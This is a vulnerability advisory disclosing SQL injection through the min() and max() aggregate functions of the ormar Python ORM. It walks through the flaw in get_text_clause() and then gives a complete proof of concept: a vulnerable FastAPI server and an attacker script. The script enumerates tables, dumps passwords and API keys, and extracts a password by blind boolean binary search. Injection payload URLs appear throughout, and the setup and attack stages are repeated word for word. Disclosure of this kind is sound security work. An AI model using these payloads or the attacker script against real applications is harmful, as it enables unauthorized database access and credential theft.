Описание
ormar is vulnerable to SQL Injection through aggregate functions min() and max()
Report of SQL Injection Vulnerability in Ormar ORM
A SQL Injection attack can be achieved by passing a crafted string to the min() or max() aggregate functions.
Brief description
When performing aggregate queries, Ormar ORM constructs SQL expressions by passing user-supplied column names directly into sqlalchemy.text() without any validation or sanitization. The min() and max() methods in the QuerySet class accept arbitrary string input as the column parameter. While sum() and avg() are partially protected by an is_numeric type check that rejects non-existent fields, min() and max() skip this validation entirely. As a result, an attacker-controlled string is embedded as raw SQL inside the aggregate function call. Any unauthorized user can exploit this vulnerability to read the entire database contents, including tables unrelated to the queried model, by injecting a subquery as the column parameter.
Affected versions
0.9.9 - 0.12.2
0.20.0b1 - 0.22.0 (latest)
The vulnerable SelectAction.get_text_clause() method and the min()/max() aggregate functions were introduced together in commit ff9d412 (March 12, 2021) and first released in version 0.9.9. The vulnerable code has never been modified since — get_text_clause() is identical in every subsequent version through the latest 0.21.0.
Versions prior to 0.9.9 do not contain the min()/max() aggregate feature and are not affected.
The following uses the latest ormar 0.21.0 as an example to illustrate the attack.
Vulnerability details
When performing an aggregate query, the QuerySet.max() method (line 721, queryset.py) passes user input to _query_aggr_function(). This method creates a SelectAction object for each column name. The column string is split by __ and the last part becomes self.field_name — with no validation against the model's actual fields.
The critical vulnerability is in SelectAction.get_text_clause() (line 41-43, select_action.py), which directly passes self.field_name into sqlalchemy.text():
#select_action.py line 41-43
def get_text_clause(self) -> sqlalchemy.sql.expression.TextClause:
alias = f"{self.table_prefix}_" if self.table_prefix else ""
return sqlalchemy.text(f"{alias}{self.field_name}") # unsanitised user input!
The apply_func() method then wraps this raw text clause inside func.max(), producing SQL like max(<attacker_input>). Since sqlalchemy.text() treats its argument as literal SQL, any subquery or SQL expression injected through the column name will be executed by the database engine.
The _query_aggr_function() method (line 704-719, queryset.py) only validates field types for sum and avg, leaving min and max completely unprotected:
#queryset.py line 704-719
async def _query_aggr_function(self, func_name: str, columns: List) -> Any:
func = getattr(sqlalchemy.func, func_name)
select_actions = [
SelectAction(select_str=column, model_cls=self.model) for column in columns
]
if func_name in ["sum", "avg"]: # <-- only sum/avg are checked!
if any(not x.is_numeric for x in select_actions):
raise QueryDefinitionError(...)
select_columns = [x.apply_func(func, use_label=True) for x in select_actions]
expr = self.build_select_expression().alias(f"subquery_for_{func_name}")
expr = sqlalchemy.select(*select_columns).select_from(expr)
result = await self.database.fetch_one(expr)
return dict(result) if len(result) > 1 else result[0]
To reproduce the attack, you can follow the steps below, using a FastAPI application with SQLite as an example.
Note: The PoC consists of two files provided in the attachments — poc_server.py (the vulnerable server) and poc_attacker.py (the HTTP-based attacker script).
Start the vulnerable application
- Install dependencies:
pip install ormar databases aiosqlite fastapi uvicorn httpx
- The vulnerable server (
poc_server.py) is based on the official ormar FastAPI example (ormar/examples/fastapi_quick_start.py). The only modification is the addition of a /items/stats endpoint — a common pattern for applications that provide aggregate statistics. This demonstrates that the vulnerability is easily triggered by natural API design.
The server defines three models:
Category and Item — from the official ormar example (unchanged)AdminUser — simulates internal data (e.g., an admin_users table) that should NOT be accessible through the public API
The vulnerable endpoint:
# Added endpoint: aggregate statistics (VULNERABLE)
# This is a common and natural pattern — letting users request
# statistics on different columns. The ormar documentation itself
# shows: await Book.objects.max(columns=["year"])
# See: <https://collerek.github.io/ormar/queries/aggregations/>
The database contains:
| Table | Data |
|---|
| categories | Electronics |
| items | Laptop ($999.99), Phone ($699.99), Tablet ($449.99), Monitor ($329.99) |
| admin_users | root / Sup3r$ecretP@ss! / ak-9f8e7d6c5b4a3210-prod |
| | deploy-bot / ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi / ak-1a2b3c4d5e6f7890-ci |
The admin_users table is NOT exposed via any API endpoint.
The attack steps
The PoC requires two terminals:
Terminal 1 — Start the vulnerable server:
python poc_server.py
Terminal 2 — Run the attacker script:
python poc_attacker.py
The attacker script (poc_attacker.py) sends HTTP requests to the running server. It has NO prior knowledge of the database schema — all information is discovered through the injection. The attacker executes 6 progressive attack stages through the single /items/stats endpoint.
Principle of vulnerability exploitation
1. The attacker confirms injection by sending an arithmetic expression
The attacker sends GET /items/stats?metric=max&column=1+1. The data flow is:
HTTP request: GET /items/stats?metric=max&column=1+1
↓
item_stats(metric="max", column="1+1") # poc_server.py
↓
Item.objects.max("1+1") # queryset.py:721
↓
_query_aggr_function(func_name="max", columns=["1+1"]) # queryset.py:704
↓
SelectAction(select_str="1+1", model_cls=Item) # select_action.py:22
↓
_split_value_into_parts("1+1") → self.field_name = "1+1"
↓
# min/max skip the is_numeric check (line 709 only checks sum/avg)
↓
get_text_clause() → sqlalchemy.text("1+1") # select_action.py:43
↓
apply_func(sqlalchemy.func.max) → max(1+1)
Generated SQL:
SELECT max(1+1) AS "1+1"
FROM (SELECT items.id AS id, items.name AS name, items.price AS price,
items.category AS category
FROM items) AS subquery_for_max
The API returns {"metric":"max","column":"1+1","result":2}, confirming that the arithmetic expression was evaluated as SQL.
2. The attacker enumerates database tables
The attacker injects a subquery to read sqlite_master:
GET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')
Which internally calls:
await Item.objects.max(
"(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')"
)
Generated SQL:
SELECT max((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'))
AS "(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')"
FROM (SELECT items.id, items.name, items.price, items.category
FROM items) AS subquery_for_max
The API returns categories,admin_users,items, revealing the hidden admin_users table.
3. The attacker extracts the schema of the target table
GET /items/stats?metric=max&column=(SELECT sql FROM sqlite_master WHERE name='admin_users')
The API returns the full CREATE TABLE statement, revealing column names: username, password, api_key.
4. The attacker dumps all credentials in a single query
GET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10)) FROM admin_users)
Generated SQL:
SELECT max((SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10))
FROM admin_users))
AS "..."
FROM (SELECT items.id, items.name, items.price, items.category
FROM items) AS subquery_for_max
The API returns all credentials:
root | Sup3r$ecretP@ss! | ak-9f8e7d6c5b4a3210-prod
deploy-bot | ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi | ak-1a2b3c4d5e6f7890-ci
5. Blind boolean-based extraction (when results are not directly visible)
Even if the API does not return query results directly, the attacker can use boolean-based blind injection to extract data character by character using binary search:
GET /items/stats?metric=max&column=CASE WHEN UNICODE(SUBSTR((SELECT password FROM admin_users WHERE username='root'),1,1))>83 THEN 1 ELSE 0 END
Which internally calls:
# "Is the Nth character of root's password greater than ASCII code M?"
await Item.objects.max(
"CASE WHEN UNICODE(SUBSTR("
"(SELECT password FROM admin_users WHERE username='root'),1,1))>83 "
"THEN 1 ELSE 0 END"
)
# Returns 0 → first character is 'S' (ASCII 83)
By iterating over each position with binary search, the full password Sup3r$ecretP@ss! is extracted in approximately 113 HTTP requests (16 characters x ~7 binary search steps).
6. The attacker extracts the production API key
GET /items/stats?metric=max&column=(SELECT api_key FROM admin_users WHERE username='root')
The API returns: ak-9f8e7d6c5b4a3210-prod
All data was extracted through a single public API endpoint using only unauthenticated GET requests.
## Start the vulnerable application
- Install dependencies:
pip install ormar databases aiosqlite fastapi uvicorn httpx
- The vulnerable server (
poc_server.py) is based on the official ormar FastAPI example ([ormar/examples/fastapi_quick_start.py](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)). The only modification is the addition of a /items/stats endpoint — a common pattern for applications that provide aggregate statistics. This demonstrates that the vulnerability is easily triggered by natural API design.
The server defines three models:
Category and Item — from the official ormar example (unchanged)AdminUser — simulates internal data (e.g., an admin_users table) that should NOT be accessible through the public API
The vulnerable endpoint:
# Added endpoint: aggregate statistics (VULNERABLE)
# This is a common and natural pattern — letting users request
# statistics on different columns. The ormar documentation itself
# shows: await Book.objects.max(columns=["year"])
# See: <https://collerek.github.io/ormar/queries/aggregations/>
@app.get("/items/stats")
async def item_stats(
metric: str = Query("max", description="max or min"),
column: str = Query("price", description="Column to aggregate"),
):
"""Return aggregate statistics for items."""
if metric == "max":
result = await Item.objects.max(column)
elif metric == "min":
result = await Item.objects.min(column)
else:
return {"error": "Unsupported metric"}
return {"metric": metric, "column": column, "result": result}
The database contains:
| Table | Data |
|---|
categories | Electronics |
items | Laptop ($999.99), Phone ($699.99), Tablet ($449.99), Monitor ($329.99) |
admin_users | root / Sup3r$ecretP@ss! / ak-9f8e7d6c5b4a3210-prod |
| deploy-bot / ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi / ak-1a2b3c4d5e6f7890-ci |
The admin_users table is NOT exposed via any API endpoint.
The attack steps
The PoC requires two terminals:
Terminal 1 — Start the vulnerable server:
python poc_server.py
Terminal 2 — Run the attacker script:
python poc_attacker.py
The attacker script (poc_attacker.py) sends HTTP requests to the running server. It has NO prior knowledge of the database schema — all information is discovered through the injection. The attacker executes 6 progressive attack stages through the single /items/stats endpoint.
Principle of vulnerability exploitation
1. The attacker confirms injection by sending an arithmetic expression
The attacker sends GET /items/stats?metric=max&column=1+1. The data flow is:
HTTP request: GET /items/stats?metric=max&column=1+1
↓
item_stats(metric="max", column="1+1") # poc_server.py
↓
Item.objects.max("1+1") # queryset.py:721
↓
_query_aggr_function(func_name="max", columns=["1+1"]) # queryset.py:704
↓
SelectAction(select_str="1+1", model_cls=Item) # select_action.py:22
↓
_split_value_into_parts("1+1") → self.field_name = "1+1"
↓
# min/max skip the is_numeric check (line 709 only checks sum/avg)
↓
get_text_clause() → sqlalchemy.text("1+1") # select_action.py:43
↓
apply_func(sqlalchemy.func.max) → max(1+1)
Generated SQL:
SELECT max(1+1) AS "1+1"
FROM (SELECT items.id AS id, items.name AS name, items.price AS price,
items.category AS category
FROM items) AS subquery_for_max
The API returns {"metric":"max","column":"1+1","result":2}, confirming that the arithmetic expression was evaluated as SQL.
2. The attacker enumerates database tables
The attacker injects a subquery to read sqlite_master:
GET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')
Which internally calls:
await Item.objects.max(
"(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')"
)
Generated SQL:
SELECT max((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'))
AS "(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')"
FROM (SELECT items.id, items.name, items.price, items.category
FROM items) AS subquery_for_max
The API returns categories,admin_users,items, revealing the hidden admin_users table.
3. The attacker extracts the schema of the target table
GET /items/stats?metric=max&column=(SELECT sql FROM sqlite_master WHERE name='admin_users')
The API returns the full CREATE TABLE statement, revealing column names: username, password, api_key.
4. The attacker dumps all credentials in a single query
GET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10)) FROM admin_users)
Generated SQL:
SELECT max((SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10))
FROM admin_users))
AS "..."
FROM (SELECT items.id, items.name, items.price, items.category
FROM items) AS subquery_for_max
The API returns all credentials:
root | Sup3r$ecretP@ss! | ak-9f8e7d6c5b4a3210-prod
deploy-bot | ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi | ak-1a2b3c4d5e6f7890-ci
5. Blind boolean-based extraction (when results are not directly visible)
Even if the API does not return query results directly, the attacker can use boolean-based blind injection to extract data character by character using binary search:
GET /items/stats?metric=max&column=CASE WHEN UNICODE(SUBSTR((SELECT password FROM admin_users WHERE username='root'),1,1))>83 THEN 1 ELSE 0 END
Which internally calls:
# "Is the Nth character of root's password greater than ASCII code M?"
await Item.objects.max(
"CASE WHEN UNICODE(SUBSTR("
"(SELECT password FROM admin_users WHERE username='root'),1,1))>83 "
"THEN 1 ELSE 0 END"
)
# Returns 0 → first character is 'S' (ASCII 83)
By iterating over each position with binary search, the full password Sup3r$ecretP@ss! is extracted in approximately 113 HTTP requests (16 characters x ~7 binary search steps).
6. The attacker extracts the production API key
GET /items/stats?metric=max&column=(SELECT api_key FROM admin_users WHERE username='root')
The API returns: ak-9f8e7d6c5b4a3210-prod
All data was extracted through a single public API endpoint using only unauthenticated GET requests.
The complete POC
poc_server.py (Vulnerable Server)
Based on the official ormar FastAPI example ([fastapi_quick_start.py](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)):
"""
CVE PoC — Vulnerable Server
=============================
Based on the OFFICIAL ormar FastAPI example:
<https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py>
The only modification is the addition of a /items/stats endpoint (line 63-76),
which is a common pattern for any application that provides aggregate statistics.
Usage:
python poc_server.py
"""
# ── Original official example code (unchanged) ───────────────
# Source: ormar/examples/fastapi_quick_start.py
from contextlib import asynccontextmanager
from typing import List, Optional
import databases
import ormar
import sqlalchemy
import uvicorn
from fastapi import FastAPI, Query
DATABASE_URL = "sqlite:///poc_vuln.db"
ormar_base_config = ormar.OrmarConfig(
database=databases.Database(DATABASE_URL), metadata=sqlalchemy.MetaData()
)
class Category(ormar.Model):
ormar_config = ormar_base_config.copy(tablename="categories")
id: int = ormar.Integer(primary_key=True)
name: str = ormar.String(max_length=100)
class Item(ormar.Model):
ormar_config = ormar_base_config.copy(tablename="items")
id: int = ormar.Integer(primary_key=True)
name: str = ormar.String(max_length=100)
price: float = ormar.Float(default=0)
category: Optional[Category] = ormar.ForeignKey(Category, nullable=True)
# This table simulates internal data that should NOT be accessible
# through the public API — e.g. an admin_users table in the same database.
class AdminUser(ormar.Model):
ormar_config = ormar_base_config.copy(tablename="admin_users")
id: int = ormar.Integer(primary_key=True)
username: str = ormar.String(max_length=100)
password: str = ormar.String(max_length=200)
api_key: str = ormar.String(max_length=200)
@asynccontextmanager
async def lifespan(app: FastAPI):
database_ = ormar_base_config.database
if not database_.is_connected:
await database_.connect()
# Create tables
engine = sqlalchemy.create_engine(DATABASE_URL)
ormar_base_config.metadata.create_all(engine)
engine.dispose()
# Seed sample data
if not await Item.objects.count():
cat = await Category.objects.create(name="Electronics")
await Item.objects.create(name="Laptop", price=999.99, category=cat)
await Item.objects.create(name="Phone", price=699.99, category=cat)
await Item.objects.create(name="Tablet", price=449.99, category=cat)
await Item.objects.create(name="Monitor", price=329.99, category=cat)
if not await AdminUser.objects.count():
await AdminUser.objects.create(
username="root",
password="Sup3r$ecretP@ss!",
api_key="ak-9f8e7d6c5b4a3210-prod",
)
await AdminUser.objects.create(
username="deploy-bot",
password="ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi",
api_key="ak-1a2b3c4d5e6f7890-ci",
)
print("\\n [Server] Ready. Database seeded with items + admin_users.")
print(" [Server] The admin_users table is NOT exposed via any API endpoint.\\n")
yield
if database_.is_connected:
await database_.disconnect()
app = FastAPI(
title="Item Catalog API",
description="Based on official ormar FastAPI example",
lifespan=lifespan,
)
# ── Original endpoints from official example (unchanged) ──────
@app.get("/items/", response_model=List[Item])
async def get_items():
items = await Item.objects.select_related("category").all()
return items
@app.post("/items/", response_model=Item)
async def create_item(item: Item):
await item.save()
return item
@app.post("/categories/", response_model=Category)
async def create_category(category: Category):
await category.save()
return category
@app.put("/items/{item_id}")
async def get_item(item_id: int, item: Item):
item_db = await Item.objects.get(pk=item_id)
return await item_db.update(**item.model_dump())
@app.delete("/items/{item_id}")
async def delete_item(item_id: int, item: Item = None):
if item:
return {"deleted_rows": await item.delete()}
item_db = await Item.objects.get(pk=item_id)
return {"deleted_rows": await item_db.delete()}
# ── Added endpoint: aggregate statistics (VULNERABLE) ─────────
# This is a common and natural pattern — letting users request
# statistics on different columns. The ormar documentation itself
# shows: await Book.objects.max(columns=["year"])
# See: <https://collerek.github.io/ormar/queries/aggregations/>
@app.get("/items/stats")
async def item_stats(
metric: str = Query("max", description="max or min"),
column: str = Query("price", description="Column to aggregate"),
):
"""Return aggregate statistics for items."""
if metric == "max":
result = await Item.objects.max(column)
elif metric == "min":
result = await Item.objects.min(column)
else:
return {"error": "Unsupported metric"}
return {"metric": metric, "column": column, "result": result}
@app.get("/health")
async def health():
return {"status": "ok"}
# ── Main ──────────────────────────────────────────────────────
if __name__ == "__main__":
import os
# Clean previous database for reproducibility
if os.path.exists("poc_vuln.db"):
os.unlink("poc_vuln.db")
print("=" * 60)
print(" CVE PoC — Vulnerable Server")
print(" Based on: ormar/examples/fastapi_quick_start.py")
print(" Added: GET /items/stats?metric=max&column=<input>")
print(" Docs: <http://127.0.0.1:8000/docs>")
print("=" * 60)
uvicorn.run(app, host="127.0.0.1", port=8000, log_level="warning")
poc_attacker.py (Attacker Script)
"""
CVE PoC — Attacker Script
===========================
Exploits the SQL injection in /items/stats endpoint.
Sends HTTP requests to the running FastAPI server.
Prerequisites:
1. Start the server first: python poc_server.py
2. Then run this script: python poc_attacker.py
The attacker has NO prior knowledge of the database schema.
All information is discovered through the injection.
"""
import sys
import httpx
TARGET = "<http://127.0.0.1:8000>"
ENDPOINT = "/items/stats"
def inject(payload: str) -> str:
"""Send a single injection payload via the public API."""
resp = httpx.get(TARGET + ENDPOINT, params={"metric": "max", "column": payload})
data = resp.json()
return data.get("result")
def main():
# ── Pre-check ─────────────────────────────────────────────
try:
r = httpx.get(TARGET + "/health", timeout=3)
if r.status_code != 200:
sys.exit(1)
except httpx.ConnectError:
print(f"Cannot connect to {TARGET}")
print(f"Start the server first: python poc_server.py")
sys.exit(1)
# ── Stage 0: Legitimate request ──────────────────────────
result = inject("price")
print(f"[Stage 0] Normal usage: max(price) = {result}")
# ── Stage 1: Confirm injection ────────────────────────────
result = inject("1+1")
print(f"[Stage 1] max('1+1') = {result}")
if result == 2:
print(" → SQL INJECTION CONFIRMED")
# ── Stage 2: Enumerate tables ─────────────────────────────
payload = "(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')"
result = inject(payload)
tables = str(result).split(",") if result else []
print(f"[Stage 2] Tables: {result}")
# ── Stage 3: Extract schema ───────────────────────────────
target_table = [t for t in tables if "admin" in t.lower()]
target_table = target_table[0] if target_table else tables[-1]
payload = f"(SELECT sql FROM sqlite_master WHERE name='{target_table}')"
result = inject(payload)
print(f"[Stage 3] Schema of {target_table}: {result}")
# ── Stage 4: Dump all credentials ─────────────────────────
payload = (
f"(SELECT GROUP_CONCAT("
f"username || ' | ' || password || ' | ' || api_key, CHAR(10))"
f" FROM {target_table})"
)
result = inject(payload)
print(f"[Stage 4] Credentials:\\n{result}")
# ── Stage 5: Blind extraction ─────────────────────────────
payload = f"LENGTH((SELECT password FROM {target_table} WHERE username='root'))"
pw_len = int(inject(payload))
extracted = ""
request_count = 0
for pos in range(1, pw_len + 1):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
payload = (
f"CASE WHEN UNICODE(SUBSTR("
f"(SELECT password FROM {target_table} "
f"WHERE username='root'),{pos},1))>{mid} "
f"THEN 1 ELSE 0 END"
)
result = inject(payload)
request_count += 1
if result == 1:
low = mid + 1
else:
high = mid - 1
extracted += chr(low)
sys.stdout.write(f"\\r[Stage 5] Extracting: {extracted}")
sys.stdout.flush()
print(f"\\n[Stage 5] Password extracted: {extracted} ({request_count} requests)")
# ── Stage 6: Steal API key ────────────────────────────────
payload = f"(SELECT api_key FROM {target_table} WHERE username='root')"
result = inject(payload)
print(f"[Stage 6] Production API key: {result}")
print(f"\\nTotal HTTP requests: {request_count + 6}")
print("All data extracted through a single public API endpoint.")
if __name__ == "__main__":
main()
Vulnerability Impact
This attack allows an unauthenticated user to read the entire database contents. Any API endpoint that passes user-controlled input to Model.objects.min() or Model.objects.max() becomes a full SQL injection entry point.
The attack is confirmed to work with the following database backends:
- SQLite (via aiosqlite)
- PostgreSQL (via asyncpg) — subquery syntax is identical
- MySQL (via aiomysql) — subquery syntax is compatible
Realistic attack scenarios include:
- REST APIs with user-selectable aggregate fields:
GET /items/stats?column=<input>
- GraphQL resolvers that accept field names as arguments
- Dynamic report generators where users select columns for aggregation
The vulnerable server in this PoC is based on the official ormar FastAPI example, demonstrating that the vulnerability is easily triggered through natural, documented API design patterns. The ormar documentation itself shows this exact usage pattern: await Book.objects.max(columns=["year"]) ([ormar aggregations docs](https://collerek.github.io/ormar/queries/aggregations/)).
Display of attack results
Terminal 1 — Start server:
Terminal 2 — Run attacker:
